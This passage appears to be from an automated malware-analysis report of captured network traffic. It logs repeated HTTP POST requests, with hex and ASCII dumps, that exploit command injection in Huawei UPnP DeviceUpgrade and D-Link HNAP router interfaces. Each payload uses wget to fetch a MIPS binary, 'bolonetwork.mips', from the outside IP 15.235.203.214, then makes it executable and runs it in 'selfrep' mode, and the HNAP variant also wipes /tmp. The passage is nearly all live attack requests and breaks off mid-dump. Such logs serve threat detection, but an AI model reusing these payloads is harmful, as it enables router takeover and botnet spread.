s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 